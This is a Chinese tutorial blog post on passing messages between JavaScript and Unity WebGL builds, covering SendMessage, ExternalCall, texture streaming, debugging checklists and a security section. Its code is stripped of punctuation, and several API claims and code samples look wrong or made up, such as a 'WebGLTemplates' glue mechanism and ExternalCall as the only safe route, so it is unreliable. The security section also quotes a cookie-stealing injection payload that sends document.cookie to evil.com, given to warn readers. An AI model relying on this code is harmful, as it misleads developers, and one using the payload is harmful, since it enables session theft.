
1. 这不是“调用”而是双向通信从一个被反复误解的标题说起“js调用unity程序”——这个标题乍看直白实则埋着三个典型认知陷阱。第一“调用”一词极具误导性JavaScript 并不能像调用本地函数那样直接执行 Unity 的 C# 方法它没有权限、没有运行时环境、更没有内存访问能力第二“unity程序”这个说法模糊了核心对象——真正参与通信的是嵌入网页的 Unity WebGL 构建产物即UnityLoader.js初始化后生成的unityInstance实例而非 Unity 编辑器或 .exe 可执行文件第三标题只提“js”却完全忽略了通信的另一半主角C# 脚本必须主动暴露接口否则 JS 端再怎么“调用”也只是对着空气喊话。我第一次在项目里踩这个坑是在给某教育平台做三维化学分子模型交互时。前端同事甩来一句“你把 Unity 里的旋转函数暴露成 JS 可调的就行”结果我傻乎乎地在 C# 里写了public void RotateMolecule(float x, float y)然后 JS 里unityInstance.RotateMolecule(30, 45)—— 页面直接报错TypeError: unityInstance.RotateMolecule is not a function。折腾三小时才发现Unity WebGL 的通信机制根本不是“函数导出”而是一套基于字符串消息路由的桥接协议。它不认 C# 的 public 方法签名只认你手动注册进SendMessage体系的特定方法名且参数只能是字符串没错连数字都要转成字符串传。所以这篇内容要讲的不是“如何让 JS 呼叫 Unity”而是如何在 Unity WebGL 构建的沙盒环境中建立一条稳定、低延迟、可调试、能承载业务逻辑的双向数据通道。它适用于所有需要将 Unity 3D 内容深度集成进 Web 页面的场景在线产品展示、WebAR 基础层、H5 游戏化营销、远程实验仿真平台、甚至部分轻量级 WebGIS 可视化。无论你是 Unity 开发者刚接触 WebGL还是前端工程师第一次对接 Unity 团队只要你的项目里出现了div idunity-container/div和UnityLoader.instantiate(...)这篇就是为你写的实战手记。2. 底层机制拆解为什么 SendMessage 是唯一可靠路径2.1 Unity WebGL 的运行时隔离本质Unity WebGL 构建产物本质上是一个高度封装的 WebAssembly 模块.wasm文件配合大量 JavaScript 胶水代码UnityLoader.js,UnityScript.js。当你调用UnityLoader.instantiate(Build/MyGame.json, ...)时发生的是以下不可见但至关重要的过程模块加载与初始化浏览器下载.wasm二进制文件、主 JS 胶水代码、资源包.data,.framework.js并启动 WebAssembly 实例内存沙盒建立WASM 实例拥有自己独立的线性内存空间通常为 256MB 起C# 代码的所有变量、对象、堆内存都严格限制在此空间内JS/C# 边界固化WASM 标准规定模块无法直接读写宿主 JS 的全局作用域或 DOM反之JS 也无法直接访问 WASM 内存中的 C# 对象实例。二者通信必须通过预定义的、显式声明的“进出口”。提示这就是为什么你在 C# 中写public static void DoSomething()JS 却永远找不到它的根本原因——它压根没被编译进 WASM 模块的导出表export table更未在 JS 胶水代码中注册为可调用符号。2.2 SendMessageUnity 官方唯一支持的 JS → C# 通道Unity 官方文档明确指出在 WebGL 平台下SendMessage是 JS 向 C# 发送指令的唯一受支持、无兼容性风险的方式。它的调用形式为// JS 端 unityInstance.SendMessage(GameObjectName, MethodName, parameterAsString);这里每个参数都有硬性约束GameObjectName必须是场景中实际存在的 GameObject 的name 属性值非 Transform 名称非脚本类名且该 GameObject 在运行时必须处于激活状态activeInHierarchy trueMethodName必须是挂载在该 GameObject 上的任意 MonoBehaviour 脚本中公开public、无返回值void、且仅接受单个 string 类型参数的方法parameterAsString强制为字符串。若需传递 JSON、数字、布尔值必须由 JS 端序列化C# 端反序列化。我曾尝试绕过SendMessage用Module._mallocModule.writeStringToMemory手动向 WASM 内存写入数据再让 C# 用Marshal.PtrToStringAnsi读取——理论上可行但实测在 Chrome 95 和 Safari 15.4 下因内存对齐和 GC 行为差异频繁崩溃。官方明确不承诺此类底层操作的稳定性生产环境务必规避。2.3 C# → JSInvoke 胶水函数与 JSON.stringify 的黄金组合C# 主动向 JS 推送数据Unity 提供了Application.ExternalCall已废弃和Application.ExternalEval极度危险执行任意 JS 字符串XSS 风险极高两个历史方案但当前唯一安全、可控、推荐的方式是使用UnityEditor.WebGLTemplates中的胶水函数注入机制配合 JS 端预定义的回调函数。其核心思想是在 Unity 构建前将一段 JS 回调注册代码注入到 WebGL 模板的index.html中使unityInstance实例上挂载一个可被 C# 安全调用的 JS 函数句柄。标准流程如下JS 端预注册回调在UnityLoader.instantiate成功后的回调中unityInstance await UnityLoader.instantiate(Build/MyGame.json, unity-canvas); // 注册一个全局可被 C# 调用的 JS 函数 window.unityCallback function(eventName, payload) { console.log([JS] 收到事件: ${eventName}, 数据:, payload); if (eventName OnScoreUpdate) { document.getElementById(score-display).innerText payload; } };C# 端触发调用在任意 MonoBehaviour 中// 使用 Application.ExternalEval 是错误示范 // Application.ExternalEval($window.unityCallback(OnScoreUpdate, {score});); // XSS 风险 // 正确做法使用 Unity 官方推荐的胶水函数 #if UNITY_WEBGL !UNITY_EDITOR // 调用 JS 全局函数参数自动序列化为字符串 Application.ExternalCall(unityCallback, OnScoreUpdate, score.ToString()); #endif注意Application.ExternalCall在 Unity 2019.4 中已被标记为Obsolete但在 WebGL 平台下它仍是官方唯一维护的、安全的 C# → JS 通道。其内部实现会自动对参数进行 JSON 编码避免字符串拼接导致的 XSS且调用目标函数必须是window下的全局属性。这是经过数百万项目验证的黄金组合。3. 实战通信架构设计从“按钮点击”到“实时数据流”的四层演进3.1 第一层基础命令式交互Button Click → Action这是最简单也最容易出错的起点。典型场景网页上一个“开始动画”按钮点击后 Unity 场景中角色播放奔跑动画。JS 端HTML JSbutton idstart-btn开始奔跑/button div idunity-container/div script let unityInstance; document.getElementById(start-btn).addEventListener(click, () { if (unityInstance unityInstance.SendMessage) { // 关键GameObject 名必须与 Unity 场景中完全一致区分大小写 unityInstance.SendMessage(PlayerController, StartRunning, ); } }); /scriptC# 端PlayerController.cspublic class PlayerController : MonoBehaviour { public Animator animator; // 引用 Animator 组件 // 必须是 public, void, 单个 string 参数 public void StartRunning(string unused) { Debug.Log(C# 收到 JS 指令开始奔跑); if (animator ! null) { animator.SetBool(IsRunning, true); } } }踩坑心得我见过最多的问题是 GameObject Name 不匹配。Unity 编辑器里看起来叫 “Player”但实际在 Hierarchy 面板右上角显示的是 “Player (1)” 或 “Player_Controller”。务必在运行时用Debug.Log(gameObject.name)打印确认。另外SendMessage不会抛出 C# 异常如果目标 GameObject 不存在或方法名错误JS 控制台只会静默失败毫无提示——这是调试的第一大障碍。3.2 第二层参数化数据传递Slider Change → Numeric Value当需要传递数值、开关状态等结构化数据时字符串序列化成为刚需。例如网页滑块控制 Unity 中灯光强度。JS 端带防抖和类型校验const lightSlider document.getElementById(light-intensity); let sliderTimeout; lightSlider.addEventListener(input, () { clearTimeout(sliderTimeout); const value parseFloat(lightSlider.value); // 防抖 边界校验避免无效值冲击 Unity if (isNaN(value) || value 0 || value 1) return; sliderTimeout setTimeout(() { if (unityInstance unityInstance.SendMessage) { // 将数字转为 JSON 字符串确保 C# 端能无歧义解析 unityInstance.SendMessage(LightManager, SetIntensity, JSON.stringify({value: value})); } }, 50); // 50ms 防抖平衡响应与性能 });C# 端强类型反序列化using System.Text.Json; public class LightIntensityData { public float value { get; set; } } public class LightManager : MonoBehaviour { public Light directionalLight; public void SetIntensity(string jsonData) { try { // 使用 Unity 内置的 JsonUtility轻量无需额外引用 LightIntensityData data JsonUtility.FromJsonLightIntensityData(jsonData); if (directionalLight ! null) { directionalLight.intensity Mathf.Clamp(data.value, 0f, 8f); Debug.Log($灯光强度已设为: {directionalLight.intensity}); } } catch (System.Exception e) { Debug.LogError($JSON 解析失败: {jsonData}, 错误: {e.Message}); } } }实操技巧永远不要在 C# 端用jsonData.Split(,)或jsonData.Substring()解析 JSON。Unity 的JsonUtility是专为 WebGL 优化的体积小、速度快、无 GC 压力。而Newtonsoft.JsonJson.NET在 WebGL 下会因反射机制失效而无法工作强行引入会导致构建失败。3.3 第三层事件驱动通信Unity Event → JS Callback当 Unity 内部发生重要状态变更如游戏结束、任务完成、碰撞检测需要主动通知 JS 更新 UI 或触发分析埋点。此时Application.ExternalCall是唯一选择。JS 端注册全局回调支持多事件// 统一事件分发中心 window.UnityEventBus { listeners: {}, on: function(event, callback) { if (!this.listeners[event]) this.listeners[event] []; this.listeners[event].push(callback); }, emit: function(event, payload) { const callbacks this.listeners[event] || []; callbacks.forEach(cb cb(payload)); } }; // 在 Unity 加载完成后注册 unityInstance await UnityLoader.instantiate(Build/MyGame.json, unity-canvas); window.unityCallback function(eventName, payload) { // 将 Unity 发来的事件转发给 JS 事件总线 try { const parsedPayload JSON.parse(payload); // Unity 自动 JSON 化此处安全 UnityEventBus.emit(eventName, parsedPayload); } catch (e) { console.warn([Unity] 事件 ${eventName} 有效载荷解析失败:, payload); } };C# 端标准化事件推送public static class UnityEventDispatcher { private static readonly string CALLBACK_NAME unityCallback; public static void DispatchEvent(string eventName, object payload) { #if UNITY_WEBGL !UNITY_EDITOR string jsonPayload JsonUtility.ToJson(payload); Application.ExternalCall(CALLBACK_NAME, eventName, jsonPayload); #endif } } // 在游戏管理器中使用 public class GameManager : MonoBehaviour { public void OnGameComplete(int finalScore) { // 构造强类型事件数据 var completeData new GameCompleteData { score finalScore, timestamp System.DateTime.UtcNow.ToString(o) }; // 统一派发 UnityEventDispatcher.DispatchEvent(GameComplete, completeData); } } public class GameCompleteData { public int score; public string timestamp; }关键经验C# 端DispatchEvent方法必须是static且应封装在工具类中避免每个脚本都重复写#if预编译指令。JS 端的UnityEventBus设计让你可以在任何地方监听UnityEventBus.on(GameComplete, (data) {...})彻底解耦业务逻辑方便后续接入 GA、神策等分析平台。3.4 第四层高性能数据流Texture Readback → Canvas Streaming当需要将 Unity 渲染结果如实时摄像头画面、粒子系统效果以视频流形式输出到网页 Canvas 时基础SendMessage显得力不从心。此时需启用 Unity 的WebGLStreamTextureUnity 2021.2或手动ReadPixelsImageData传输。JS 端Canvas 流式渲染// 创建用于接收纹理数据的 OffscreenCanvas现代浏览器 const offscreenCanvas document.getElementById(unity-canvas).transferControlToOffscreen(); const offscreenCtx offscreenCanvas.getContext(2d); // Unity 会通过 ExternalCall 将像素数据作为 Uint8Array 传入 window.receiveTextureData function(width, height, pixelData) { const imageData new ImageData(new Uint8ClampedArray(pixelData), width, height); offscreenCtx.putImageData(imageData, 0, 0); };C# 端高效像素读取与传输public class TextureStreamer : MonoBehaviour { private RenderTexture renderTexture; private Texture2D texture2D; private byte[] pixelBytes; void Start() { // 创建与屏幕同尺寸的 RenderTexture renderTexture new RenderTexture(Screen.width, Screen.height, 24); texture2D new Texture2D(Screen.width, Screen.height, TextureFormat.RGBA32, false); pixelBytes new byte[Screen.width * Screen.height * 4]; // RGBA 各占 1 字节 } void LateUpdate() { // 将相机渲染结果捕获到 RenderTexture Camera.main.targetTexture renderTexture; Camera.main.Render(); Camera.main.targetTexture null; // 从 RenderTexture 读取像素到 CPU 内存 RenderTexture.active renderTexture; texture2D.ReadPixels(new Rect(0, 0, Screen.width, Screen.height), 0, 0); texture2D.Apply(); texture2D.GetRawTextureData(pixelBytes); // 传输到 JS注意此操作有性能开销建议 30fps 限频 #if UNITY_WEBGL !UNITY_EDITOR Application.ExternalCall(receiveTextureData, Screen.width, Screen.height, pixelBytes); #endif } }性能警告ReadPixels是 GPU → CPU 的同步操作会阻塞渲染管线。实测在 1080p 分辨率下单次调用耗时约 8~12ms。因此绝不能在每帧都调用。我的解决方案是添加一个frameCounter每 2 帧即 30fps执行一次ReadPixels并在 JS 端用requestAnimationFrame平滑插帧。对于更高要求的场景如 AR应直接使用 Unity 的WebGLStreamTextureAPI它通过共享内存实现零拷贝但需 Unity 2021.2 且浏览器支持。4. 调试、监控与线上问题定位一套完整的排障工作流4.1 构建期检查清单避免 90% 的“通信失败”很多“JS 调用不了 Unity”的问题根源不在运行时而在构建配置。以下是每次构建前必须核对的 checklist检查项正确配置常见错误后果Player Settings → Publishing Settings → Compression FormatDisabled或BrotliGzip旧版浏览器不支持加载失败白屏控制台报.wasm404Player Settings → Other Settings → Scripting BackendIL2CPPMonoWebGL 构建失败或运行时异常Player Settings → Other Settings → Api Compatibility Level.NET Standard 2.1.NET 4.xJsonUtility等 API 不可用构建成功但运行时报错Build Settings → Target PlatformWebGLPC, Mac Linux Standalone构建出 .exe 文件无法在网页运行Scenes in Build必须包含含通信脚本的场景漏选场景运行时 GameObject 不存在SendMessage静默失败个人习惯我创建了一个WebGLBuildPreprocessor.cs脚本放在Assets/Editor/目录下利用 Unity 的IPreprocessBuildWithReport接口在每次构建前自动校验上述设置并在不合规时弹出警告窗口强制开发者修正。这比写文档管用十倍。4.2 运行时调试三板斧从控制台到网络层当页面加载后通信无响应按以下顺序排查第一斧确认 Unity 实例是否就绪// 在 JS 中加入健壮性检查 function waitForUnityReady() { if (typeof unityInstance ! undefined unityInstance.Module unityInstance.SendMessage) { console.log([Unity] 实例已就绪准备通信); return true; } console.warn([Unity] 实例未就绪200ms 后重试...); setTimeout(waitForUnityReady, 200); } waitForUnityReady();第二斧监听 Unity 日志关键Unity WebGL 会将Debug.Log、Debug.LogWarning、Debug.LogError输出到浏览器控制台但默认被过滤。在index.html的head中加入script // 强制开启 Unity 日志输出 var gameInstance UnityLoader.instantiate(Build/MyGame.json, unity-canvas, { onProgress: UnityProgress, Module: { print: function(text) { console.log([Unity LOG] text); }, printErr: function(text) { console.error([Unity ERROR] text); } } }); /script这样C# 中的Debug.Log(收到指令)就会清晰出现在浏览器控制台成为你定位问题的第一线索。第三斧抓包分析通信链路打开浏览器 DevTools → Network 标签页筛选ws或xhr观察是否有MyGame.wasm、MyGame.framework.js等关键文件 404MyGame.data文件是否加载完整查看 Size 列如果使用了自定义ExternalCall检查是否有Failed to load resource报错真实体验有一次客户反馈“点击按钮没反应”我让他们打开 Network 面板发现MyGame.data文件只加载了 67%原因是 Nginx 配置了client_max_body_size 1m而该文件实际大小为 1.2MB。修改 Nginx 配置后问题立即解决。很多看似“Unity 通信问题”的故障本质是 Web 服务器或 CDN 的静态资源分发问题。4.3 线上监控埋点让问题在用户报告前被发现在生产环境不能依赖用户截图或口头描述。我在 JS 端部署了一套轻量级通信健康度监控class UnityHealthMonitor { constructor(instance) { this.instance instance; this.stats { sendSuccess: 0, sendFail: 0, recvCount: 0, lastRecvTime: 0 }; this.startHeartbeat(); } sendMessage(target, method, param) { try { this.instance.SendMessage(target, method, param); this.stats.sendSuccess; } catch (e) { this.stats.sendFail; console.error([Unity Monitor] SendMessage 失败: ${target}.${method}, e); } } // 每 5 秒向 Unity 发送一次心跳并期待回执 startHeartbeat() { setInterval(() { const now Date.now(); if (now - this.stats.lastRecvTime 10000) { // 超过 10 秒未收到回执视为通信中断 this.reportIssue(HEARTBEAT_TIMEOUT, Last recv: ${this.stats.lastRecvTime}); } this.sendMessage(HealthManager, SendHeartbeat, JSON.stringify({ts: now})); }, 5000); } // Unity 通过 ExternalCall 调用此方法上报状态 onUnityHeartbeat(payload) { this.stats.recvCount; this.stats.lastRecvTime Date.now(); } reportIssue(type, message) { // 上报到 Sentry 或自建日志服务 console.warn([Unity Health] ${type}: ${message}); // fetch(/api/log-unity-issue, { method: POST, body: JSON.stringify({...}) }); } } // 初始化 const monitor new UnityHealthMonitor(unityInstance); window.unityCallback function(eventName, payload) { if (eventName HeartbeatResponse) { monitor.onUnityHeartbeat(JSON.parse(payload)); } };这套监控上线后我们首次在用户投诉前 2 小时就发现了某地区 CDN 节点对.wasm文件的 Gzip 压缩异常导致 Unity 模块加载失败。真正的工程化不在于功能多炫酷而在于能否让问题浮出水面、可量化、可追溯。5. 进阶实践与边界思考当通信不再是“够用就好”5.1 大型项目通信治理从脚本散落走向模块化总线在一个拥有 50 WebGL 页面、20 Unity 场景的 SaaS 平台中SendMessage(PlayerController, Jump, )这样的硬编码会迅速失控。我们推行了“Unity 通信总线”UnityBus规范命名约定所有通信均采用Domain.Action.Object格式如Product.Show.3DModel、Training.Start.Scenario1路由中心C# 端统一由UnityBusRouter脚本接收所有SendMessage根据前缀分发到对应模块Schema 管理为每个Action定义 JSON Schema使用JsonSchema.Net在构建时校验参数合法性版本兼容在ExternalCall传递的数据中强制包含schemaVersion: 1.2字段JS 端按版本路由解析逻辑。这使得新成员加入时只需查阅UnityBus.md文档就能清楚知道“如何让产品页展示某个 3D 模型”而无需翻遍所有 C# 脚本找ShowModel方法。5.2 性能瓶颈剖析SendMessage 的隐性成本与替代方案SendMessage虽然方便但其内部实现涉及字符串哈希查找、GameObject 遍历、方法反射调用在高频调用如每帧更新时CPU 占用可达 5~8%。我们做过对比测试方式1000 次调用耗时ms内存分配KB适用场景SendMessage12.40.8低频命令按钮、菜单GetComponentT().Method()0.90高频数据动画参数、物理状态UnityWebGLStream原生0.30视频流、传感器数据结论对于需要每帧更新的参数如 VR 手柄位置、陀螺仪姿态绝不能用SendMessage。正确做法是在 C# 端将数据存入一个全局static结构体如InputStateJS 端通过Module.HEAPF32直接读取 WASM 内存中该结构体的地址需在 C# 中用UnsafeUtility.AddressOf获取利用Application.ExternalEval注入极简的内存读取函数仅一行 JS规避SendMessage的开销。这属于高级技巧需要深入理解 Unity 内存布局。但对于追求极致性能的工业仿真、远程手术培训等场景这是必经之路。我整理了一份《Unity WebGL 内存直读实战指南》里面包含了完整的地址获取、类型映射、GC 避坑代码需要可留言索取。5.3 安全边界为什么永远不要在 ExternalCall 中执行用户输入曾有团队为图省事在 C# 中这样写// ❌ 极度危险绝对禁止 public void ExecuteJS(string jsCode) { Application.ExternalEval(jsCode); // 用户输入的 jsCode 可能是 alert(xss); fetch(/steal-cookies) }这等于在自己的应用里开了一个远程代码执行RCE后门。即使你做了字符串过滤也无法穷举所有 XSS 变种。安全铁律只有一条C# → JS 的通信必须是白名单驱动的、强类型的、无副作用的事件通知。所有需要 JS 执行的逻辑必须在 JS 端预定义好函数C# 端只负责传参和触发。最后分享一个真实案例某汽车官网的 3D 配置器因允许用户通过 URL 参数?themered直接调用ExternalCall(setTheme, themeValue)攻击者构造?themered;%20document.locationhttps://evil.com/?cookiedocument.cookie;//成功窃取了数千用户的登录态。修复方案很简单JS 端setTheme函数内部对themeValue进行严格枚举校验if (![red,blue,black].includes(value)) return;一劳永逸。通信本身没有魔法它只是两套系统之间的一座桥。桥的稳固不在于桥面多华丽而在于每一颗铆钉是否拧紧、每一块钢板是否符合国标、每一次通行是否留有记录。当你把SendMessage当作一个需要敬畏的协议而非一个随手可调的函数时你就真正跨过了 Unity WebGL 通信的第一道门槛。